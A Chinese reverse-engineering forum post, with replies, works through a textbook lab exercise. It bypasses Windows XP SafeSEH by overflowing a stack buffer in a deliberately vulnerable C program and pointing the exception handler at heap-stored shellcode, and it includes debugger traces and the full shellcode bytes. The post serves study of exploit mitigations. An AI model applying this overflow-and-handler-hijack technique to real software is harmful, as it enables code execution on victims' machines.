吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 17168|回复: 26
收起左侧

[调试逆向] 突破SafeSEH之从堆中绕过SafeSEH

[复制链接]
wnagzihxain 发表于 2016-5-6 11:33
本帖最后由 wnagzihxain 于 2016-5-11 13:00 编辑

代码是《0day2》第十一章提供的
环境:xp sp3

[C] 纯文本查看 复制代码
#include <stdafx.h>
#include <stdlib.h>
#include <string.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
;

void test(char * input)
{
        char str[200];
        strcpy(str,input);        
    int zero=0;
        zero=1/zero;
}

void main()
{
        char * buf=(char *)malloc(500);
        __asm int 3
        strcpy(buf,shellcode);
        test(shellcode);        
}

代码解释:先申请500字节的空间,然后中断,这是为了方便找到堆的起始位置,然后将shellcode存放到堆中,接下来执行test函数导致缓冲区溢出,紧接着一个除0异常触发异常处理,因为异常处理函数已经被覆盖成堆里shellcode的起始地址,所以直接绕过SafeSEH

编译器是VS2005,,生成Release版本,记得禁用优化,运行起来载入OD

代码窗可以看到申请堆空间的两条指令,右上角的EAX处存的是申请的堆空间的起始地址,左下角数据区跟随一下就可以看到了,虽然现在还有值,但是没关系的

1.png
接下来几行代码就是将shellcode存放到堆空间了,来读读汇编吧

[Asm] 纯文本查看 复制代码
00401796   .  68 18304000   push    offset shellcode                 ; /src = ""90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,""
0040179B   .  8B45 FC       mov     eax, dword ptr [ebp-4]           ; |
0040179E   .  50            push    eax                              ; |dest
0040179F   .  E8 6CF8FFFF   call    strcpy                           ; \strcpy
004017A4   .  83C4 08       add     esp, 8                
有事没事读读汇编也是不错的

然后我们走完这段,到这两句,也就是执行test函数

[Asm] 纯文本查看 复制代码
004017A7 . 68 18304000 push offset shellcode
004017AC . E8 7FFFFFFF call test
跟过去

2.png

同样我们来读读汇编
[Asm] 纯文本查看 复制代码
00401730 > $ 55 push ebp
00401731 . 8BEC mov ebp, esp
00401733 . 81EC D0000000 sub esp, 0D0;抬高栈顶
00401739 . A1 00304000 mov eax, dword ptr [__security_cookie] ;取出.data段Cookie
0040173E . 33C5 xor eax, ebp;生成Security Cookie
00401740 . 8945 F8 mov dword ptr [ebp-8], eax;将Security Cookie存入栈中
00401743 . 8B45 08 mov eax, dword ptr [ebp+8];这是调用test时压栈的shellcode指针
00401746 . 50 push eax ; /src
00401747 . 8D8D 30FFFFFF lea ecx, dword ptr [ebp-D0] ; |
0040174D . 51 push ecx ; |dest
0040174E . E8 BDF8FFFF call strcpy ; \strcpy
00401753 . 83C4 08 add esp, 8
00401756 . C745 FC 00000>mov dword ptr [ebp-4], 0;存个0,为下面除0做准备
0040175D . B8 01000000 mov eax, 1
00401762 . 99 cdq
00401763 . F77D FC idiv dword ptr [ebp-4];除0操作
在单步走下去的时候可以看到缓冲区起始位置,直接观察栈布局或者看参数都可以看出来的,栈中标记出来的就是缓冲区起始地址,同样代码窗口同样可以看到dest目标地址

3.png

执行完strcpy

4.png

既然各种起始地址找的差不多了,可以来看看S.E.H链了,可以看到只有两个,最上面的是0x0012FFB0,这个是nextSEH的指针,真正执行的是0x0012FFB4处的异常处理函数指针

5.png

看到这里接下来的事就好办了,我们的shellcode弄长点,\x90填充到0x0012FFB0位置,后面跟上申请的堆空间起始地址,也就是shellcode的起始地址

长度计算可以用各种工具包里自带的,吾爱虚拟机和***的虚拟机都很好用,推荐一下,里面工具包都很全,我现在用的是***的虚拟机,用的吾爱的工具包

修改后的代码如下

[C] 纯文本查看 复制代码
#include "stdlib.h"
#include "string.h"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA0\x29\x3B\x00"//address of shellcode in heap
;

void test(char * input)
{
char str[200];
__asm int 3
strcpy(str,input);        
int zero=0;
zero=1/zero;
}

void main()
{
char * buf=(char *)malloc(500);
strcpy(buf,shellcode);
test(shellcode);        
}
同样中断后OD附加调试,走完strcpy可以看到S.E.H已经被覆盖掉了,不用管nextSEH

6.png

那么接下来的情况就比较清楚了,我们构造的除0异常会触发异常,程序调用异常处理,因为异常处理函数的指针指向的是堆空间,而SafeSEH对指向堆空间的异常处理函数指针是直接校验通过的,所以直接就执行shellcode了

接下来我们去掉断点看看效果

7.png



欢迎交流╭( &#65381;&#12610;&#65381;)&#1608; &#785;&#785;
主要记录二进制攻防的学习笔记和二进制漏洞的分析,各位多指教


最後的最後:如果我有写的不清楚的地方请您提出来,我会及时修改




免费评分

参与人数 5威望 +2 热心值 +5 收起 理由
yang8305147 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Prick + 1 热心回复!
Hmily + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
hlrlqy + 1 谢谢@Thanks!
yAYa + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

 楼主| wnagzihxain 发表于 2016-5-6 12:36
asd9988 发表于 2016-5-6 12:07
实现方式比较巧妙。不过应该有一定的局限性。.................(个人瞎掰)

这是绕过SafeSEH的一种方法,还有很多其它方法我会在后续的调试中慢慢写的,二进制漏洞利用条件现在很苛刻,需要很多的技巧来绕过系统的防护机制
 楼主| wnagzihxain 发表于 2016-5-6 12:39
popddos 发表于 2016-5-6 12:21
本鸟表示不懂,有视频讲解就好了。

我把《0day2》这些基本的知识技巧都调试一遍后,有时间可能会录一下调试的视频
慢慢的拼凑 发表于 2016-5-6 11:53
songtt77 发表于 2016-5-6 11:57
前排沙发。。收藏学习了
asd9988 发表于 2016-5-6 12:07
实现方式比较巧妙。不过应该有一定的局限性。.................(个人瞎掰)
popddos 发表于 2016-5-6 12:21
本鸟表示不懂,有视频讲解就好了。
hlrlqy 发表于 2016-5-6 12:26
所以有什么用处啊直接执行代码有什么问题吗
S E H是啥
末生 发表于 2016-5-6 12:35
有什么用呢。。。。。
 楼主| wnagzihxain 发表于 2016-5-6 12:37
hlrlqy 发表于 2016-5-6 12:26
所以有什么用处啊直接执行代码有什么问题吗
S E H是啥

比如try{}catch(){},就是一个人为添加的异常处理
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-19 18:10

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表